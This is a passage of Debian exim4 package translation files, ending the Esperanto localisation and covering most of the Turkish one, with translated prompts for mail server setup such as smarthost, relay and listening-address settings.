Tio signifas ke la retmesaĝoj celontaj tiujn domajnojn estos " "akceptitaj de ie ajn el Interreto, kaj ili estos distribuitaj laŭ lokaj " "reguloj." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Ne indiku lokajn domajnojn tie ĉi. Vi povos uzi ĵokerojn." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Relajsotaj maŝinoj:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Bonvolu indiki punktokome interspacigitan liston da 'IP'-adresaj intervaloj " "por kiuj tiu ĉi maŝino senpere relajsos mesaĝojn (kiel lertserva funkciado)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Vi devos uzi la norman formon 'adreso/prefikso' (ekzemple: 194.222.242.0/24 " "aŭ 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Se tiu ĉi sistemo ne devos esti lertservilo ('smarthost') por aliaj " "sistemoj, lasu tiun ĉi liston malplena." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Videbla domajno-nomo por lokaj uzantoj:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "La opcio por kaŝi la lokan retmesaĝnomon en elirantaj mesaĝoj estis " "ebligita. Do, vi devas nun indiki la domajno-nomon, kiun tiu ĉi sistemo " "devos uzi por la domajna parto de sendant-adresoj de lokaj uzantoj." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "'IP'-adreso aŭ gastnomo de la eliranta lertservilo:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Bonvolu indiki la 'IP'-adreson aŭ la gastnomon de retpoŝtservilo kiun tiu ĉi " "sistemo uzos kiel eliranta lertservilo ('smarthost'). Se la lertservilo nur " "akceptas viajn retmesaĝojn per pordo alia ol TCP/25, aldonu du dupunktojn " "kaj la pordnumeron (ekzemple, lertservilo.ekzemplo::587 aŭ " "192.168.254.254::2525). Dupunktoj en 'IPv6'-adresoj devas esti duopaj." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Se la lertservilo bezonas aŭtentikadon, bonvolu konsulti la dosieron " "'README' de Debian en '/usr/share/doc/exim4-base/' por pliaj informoj pri " "kiel akomodi 'SMTP'-aŭtentikadon (eble nur angle)." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Radika kaj poŝtestra ricevanto:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Retmesaĝoj al la 'poŝtestro', 'ĉefuzanto', kaj aliaj sistem-kontoj bezonas " "esti deturnitaj al la uzantkonto de la fakta administranto." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Se vi lasas tiun ĉi valoron malplena, tiuj retmesaĝoj estos garditaj en la " "dosiero 'var/mail/mail'. Ne rekomendinde." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Rimarku ke poŝtestraj retmesaĝoj devos esti legitaj en la loka sistemo, " "anstataŭ ol esti aliloken senditaj. Do, (almenaŭ unu el) la uzantoj listitaj " "ĉi tie ne devos deturni siajn mesaĝojn al alia maŝino. La prefikso 'real-' " "povas esti uzata por devigi lokan liveradon." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Multoblaj uzantnomoj devas esti apartigitaj per spacoj." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "" "'IP'-adresoj kiujn la 'Exim'-programo priatentos por enirantaj 'SMTP'-" "konektoj:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Bonvolu indiki punktokome interspacigatan liston da 'IP'-adresoj, kiujn la " "'Exim SMTP'-programo priatentos." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Malplena valoro igos ke 'Exim' priatentu konektojn el ĉiuj disponeblaj ret-" "interfacoj." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Se tiu ĉi komputilo ricevas mesaĝojn nur el lokaj poŝtservoj (kaj ne el " "aliaj serviloj), oni sugestas malpermesi eksterajn konektojn al la loka " "demono 'Exim'. Tiaj servoj povas esti retpoŝtiloj kiuj \"babilas\" kun nur " "'localhost', same kiel 'fetchmail'. Oni malebligas eksterajn konektojn " "enmetante la valoron 127.0.0.1 ĉi tie, ĉar tio malpermesigas priatenti " "publikajn ret-interfacojn." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Ĉu oni minimumigu la nombron da 'DNS'-peto (Laŭ-Bezona-Konekto)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Ordinare, 'Exim'-programo faras 'DNS'-serĉadon dum eklanĉo, kaj kiam ĝi " "ricevas aŭ disdonas mesaĝojn. Tio estas por protokolaj celoj kaj ebligas " "minimumigi la nombron da enkodumitaj valoroj en la agorda dosiero." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Se tiu ĉi gastkomputilo ne havas kompletan 'DNS'-solvilon disponigita dum la " "tuta tempo (ekzemple, se ĝi uzas laŭbezonkonektojn al interreto per telefona " "lineo), tio povus kaŭzi maldeziritajn sekvojn. Ekzemple, lanĉo de la " "programo 'Exim' aŭ traktadon de la petvico (eĉ sen atendantajn mesaĝojn) " "povus krei multkostajn telefon-konektojn." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Tiu ĉi opcio devas esti elektita se tiu ĉi sistemo uzas Laŭ-Bezon-Konektojn. " "Se ĝi havas konstantan konekton al Interreto, tiu ĉi opcio devus esti " "malebligita." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Retpoŝtservila agordo" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Ĉu oni dispartigu la agordo-dosieron je etaj dosieroj?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "La pakoj de la Debiana 'Exim4' povas uzi 'unuopan agordon', unu nur unubloka " "dosiero (/etc/exim4/exim4.conf.template) aŭ ĝi povas uzi 'disigitan " "agordon', per kiu la agordo-dosieroj de Exim estas faritaj el proksimume 50 " "etaj dosieroj en etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "La unubloka agordo-dosiero estas pli taŭga por grandaj ŝanĝoj kaj ĝi estas " "ĝenerale pli stabila. Male, disigita agordo estas pli taŭga por malgrandaj " "modifoj, sed estas pli \"vundebla\" kaj ĝi povas frakasiĝi okaze de senzorga " "modifado." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Pli detaliga diskuto pri unubloka kaj disigita agordo estas legebla (angle) " "ĉe la Debian-specifaj dosieroj 'README' ĉe /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Ĉu oni kaŝu lokan nomon en sendotaj retmesaĝoj?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "La kaplinioj de sendotaj retmesaĝoj povas esti reskribitaj por ŝajnigi ilin " "devenitaj de alia sistemo. Se tiu ĉi opcio estos ŝaltita, '${mailname}', " "'localhost' kaj '${dc_other_hostnames}' estos anstataŭigitaj en la kaplinioj " "'De:', 'Respondi-Al:', 'Sendinto:' kaj 'Revena-Pado:'." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "'mbox'-strukturo en /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "'Maildir'-strukturo en la dosierujo 'home'" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Livera metodo por loka retpoŝto:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "'Exim' povas konservi lokajn disdonitajn retmesaĝojn laŭ malsamaj " "strukturoj. La plejofte uzataj estas 'mbox' kaj 'Maildir'. 'mbox' uzas " "ununuran dosieron por la tuta poŝt-dosierujo konservita en '/var/mail'. Per " "la 'Maildir'-strukturo ĉiu mesaĝo estas konservita en aparta dosiero ĉe '~/" "Maildir'." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Bonvolu rimarki ke plejparto el la retpoŝtiloj en Debiano apriore uzas la " "strukturon 'mbox'." debian/po/tr.po0000644000000000000000000006133612027557533010613 0ustar # Turkish translation of exim4. # This file is distributed under the same license as the exim4 package. # Recai Oktaş 2004, 2006. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-05-24 18:27+0200\n" "Last-Translator: Mert Dirik \n" "Language-Team: Turkish \n" "Language: tr\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Kuyruk dizinindeki gönderilmeyen postalar silinsin mi?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Exim kuyruk dizini olan /var/spool/exim4/input'da henüz gönderilmemiş " "epostalar var. Exim'i silmeniz halinde bu epostalar ileri bir tarihte Exim " "tekrar kuruluncaya kadar gönderilmemiş halde muhafaza edilecektir." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Eğer bu seçenek seçilmemişse kuyruk (spool) dizini korunacak ve burada " "bekleyen iletilerin gönderilmesi Exim'in tekrar kurulduğu ileriki bir tarihe " "ertelenecektir." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Bu paket yerine exim4-config yeniden yapılandırılsın mı?" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 yapılandırması kendi başına ayrı bir paket olan exim4-config " "tarafından yapılmaktadır. Exim4'ü tekrar yapılandırmak için 'dpkg-" "reconfigure exim4-config' komutunu kullanın." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "İnternet sitesi; posta alma/gönderme doğrudan SMTP ile" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "Posta gönderme akıllı-makine ile; posta alma SMTP/fetchmail ile" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "Posta gönderme akıllı-makine ile; yerel posta yok" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "Sadece yerel dağıtım; ağ yok" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "Şu an bir yapılandırma yapma" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Posta yapılandırma türü:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Lütfen ihtiyaçlarınıza en uygun eposta sunucu yapılandırmasını seçin." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Devingen IP adresli sistemler (çevirmeli bağlantı sistemleri de dahil), " "diğer bir makineye posta göndermek için genellikle 'akıllı " "makine' (smarthost) denilen yöntemle yapılandırılmalıdır. Çünkü İnternet " "üzerindeki alıcı bir çok sistem spam koruması için devingen IP adreslerinden " "gelen epostaları engellemektedir." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Devingen IP adresi kullanan bir sistemin kendisi eposta alabilir veya yerel " "dağıtım bütünüyle iptâl edilebilir ('root' ve 'postmaster' epostaları " "haricinde)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Posta sistemi yapılandırılmamış halde mi bırakılsın?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Posta sisteminiz yapılandırılana kadar bozuk ve kullanılamaz durumda " "olacaktır. Yapılandırma işlemini daha sonra elle veya root olarak 'dpkg-" "reconfigure exim4-config' komutunu çalıştırarak gerçekleştirebilirsiniz." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Sistemin posta adı:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'posta adı' alan adı içermeyen 'nitelikli' posta adreslerinde kullanılacak " "alan adıdır." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Ayrıca bu ad diğer programlar tarafından da kullanılacak. Bu ad postanın " "gönderildiği kaynağı tanımlayan Tam Nitelikli Alan Adı (FQDN) biçiminde tek " "bir ad olmalıdır." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Örneğin, yerel makinedeki eposta adresiniz foo@ornek.alan şeklindeyse bu " "seçeneğin alacağı doğru değer ornek.alan olacaktır." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Eğer başlık yeniden yazma etkinleştirilirse, bu ad, dışarı giden epostaların " "Kimden: (From:) alanında gözükmeyecektir." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Kendisinden posta kabul edilecek diğer adresler:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Lütfen bu makinenin kendisini nihaî varış adresi olarak değerlendireceği " "alan adlarını noktalı virgülle ayrılmış bir liste halinde girin. Bu alanlar " "genel olarak 'local domains' ('yerel alanlar') şeklinde " "adlandırılmaktadırlar. yerel makine ismi (${fqdn}) ve 'localhost' bu listeye " "her zaman eklenir." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Öntanımlı olarak bütün yerel alan adlarına aynı şekilde muamele " "edilecektir. Mesela, a.ornek ve b.ornek yerel alan adları için, hesap@a." "ornek ve hesap@b.ornekadresleri aynı varış noktasına sahiptir. Eğer farklı " "alan adlarına farklı şekilde muamele edilmesini istiyorsanız, daha sonra " "yapılandırma dosyalarını düzenlemeniz gerekecektir." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Postaları anahtarlanacak alan adları:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Lütfen kendilerine ait postaların anahtarlanacağı ('relay' edileceği) alıcı " "alan adlarını noktalı virgülle ayrılmış bir liste halinde girin. Örnek " "olarak bu alanlar bir MX sunucusu veya eposta geçidi olabilir. Bu " "yapılandırma sonucunda sistem İnternet üzerinde herhangi bir yerden bu " "alanlar adına gelen epostaları kabul edecek ve yerel dağıtım kurallarına " "göre bu epostaların dağıtımını yapacaktır." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Buraya yerel alan adlarını girmeyin. Joker karakterler kullanılabilir." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Postaları anahtarlanacak makineler:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Lütfen kendilerine ait postaların koşulsuz olarak anahtarlanmasına izin " "verilen, yani her biri bu sistemi akıllı-makine olarak gören IP adres " "aralığı listesini noktalı virgülle ayrılmış bir liste halinde girin." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Burada standart adres/uzunluk biçimini kullanmalısınız (ör. 194.222.242.0/24 " "veya 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Eğer bu sistem diğer başka bir sistem için akıllı-makine (smarthost) olarak " "görev yapmayacaksa bu listeyi boş bırakın." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Yerel kullanıcılar için görünür alan adı:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Gönderilen epostalarda yerel eposta adının gizlenilmesi seçeneği " "etkinleştirilmiş durumda. Bu yüzden yerel kullanıcıların gönderen adresinin " "alan adı kısmı olarak kullanılmak üzere bu sistemin alan adının belirtilmesi " "gerekiyor." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Akıllı-makinenin (smarthost) IP adresi veya makine adı:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Lütfen bu sistemin akıllı-makine olarak kullanacağı bir eposta sunucusunun " "makine adını veya IP adresini girin. Eğer akıllı-makine epostaları " "TCP/25'den farklı bir porttan kabul ediyorsa girdinin sonuna '::' ve port " "numarasını ekleyin (ör. ornek.akiilimakine::587 veya " "192.168.254.254::2525). IPv6 adreslerindeki ':' karakterleri çift " "yazılmalıdır." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Eğer akıllı-makine kimlik doğrulama gerektiriyorsa, SMTP kimlik doğrulama " "ayarları için /usr/share/doc/exim4-base dizinindeki Debian'a özgü README " "dosyalarına başvurun." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Root ve postmaster için posta alıcısı:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "'postmaster', 'root' ve diğer sistem hesaplarına ait epostaların gerçek " "sistem yöneticisine ait kullanıcının hesabına yönlendirilmesi gerekiyor." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Eğer bu alan boş bırakılırsa, tavsiye edilmeyen bir durum olarak, bu " "iletiler '/var/mail/Mail' dizinine kaydedilecektir." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "'postmaster'a ait postanın okunacağı sistemin, bir başka sistem yerine bu " "postanın yönlendirildiği sistem olmasına dikkat edin. Dolayısıyla burada " "listelenen kullanıcıların (en azında bir tanesinin) kendi postalarını bir " "dış makineye yönlendirmemesi gerekir. İlgili kullanıcıya ilişkin posta " "dağıtımının sadece yerel olarak yapılmasını sağlamak için 'real-' öneki " "kullanılabilir." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Birden fazla kullanıcı adları boşluklarla ayrılmalıdır." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Kendisinden gelen SMTP bağlantılarının dinleneceği IP adresleri:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Exim SMTP tarafından dinlenecek IP adreslerini noktalı virgülle ayrılmış bir " "liste halinde girin." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Eğer bu alana boş değer girilirse, Exim kullanılabilir durumdaki bütün ağ " "arayüzlerine olan bağlantıları dinleyecektir." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Eğer bu makine yalnız doğrudan yerel servislerden posta alıyorsa (ve diğer " "makinelerden almıyorsa), Exim'in dış bağlantılara kapatılması önerilir. Bu " "tür servisler fetchmail'in yanında yerel makine ile konuşan eposta " "programlarını (MUA) da içerir. Bu seçenek 127.0.0.1 olarak ayarlanırsa " "dışarıya açık ağ arayüzlerinin dinlenilmesini önleneceğinden bu sisteme " "dışarıdan bağlantı yapılamaz." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "DNS sorgulamaları asgari düzeyde tutulsun mu (İsteğe-bağlı-Bağlantı)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Normal çalışma kipinde Exim; başlatılırken, posta alıp gönderirken vb. " "durumlarda günlük tutmak amacıyla DNS başvurularında bulunur. Bu durum " "yapılandırma dosyasına önceden girilmesi gereken sabit değerlerin sayısını " "azaltmaya yaramaktadır." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Şayet bu makine (İstek-üzerine-Bağlantı kullanan çevirmeli bağlantıyla " "kurulmuş İnternet erişimlerinde olduğu gibi) kalıcı bir DNS-alan adı " "sunucusu erişimine sahip olmayan bir makine olsaydı, bu durum istenmeyen " "sonuçlar doğurabilirdi. Meselâ exim'in başlatılması veya (bekleyen bir " "iletinin dahî olmadığı) posta kuyruklarının işlenmesi masraflı bir bağlantı " "kurma girişimini tetikleyebilirdi." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Bu özelliği, İstek-üzerine-Bağlantı'yı (Dial-on-Demand) kullanıyorsanız " "etkinleştirin. Eğer sistem daima-mevcut İnternet erişimine sahipse bu " "seçeneği etkinleştirilmeyin." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Posta Sunucusu yapılandırma türü:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Yapılandırmayı küçük dosyalara bölmek ister misiniz?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian exim4 paketleri tümleşik özellikte tek bir dosyaya (/etc/exim4/exim4." "conf.template) dayalı 'bölünmemiş yapılandırma'yı veya/etc/exim4/conf.d/ " "dizininde yaklaşık 50 civarında küçük yapılandırma dosyasından oluşan " "'bölünmüş yapılandırma'yı kullanabilir." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Bölünmemiş yapılandırma geniş çaplı değişiklikler için uygun ve genellikle " "daha kararlı iken, bölünmüş 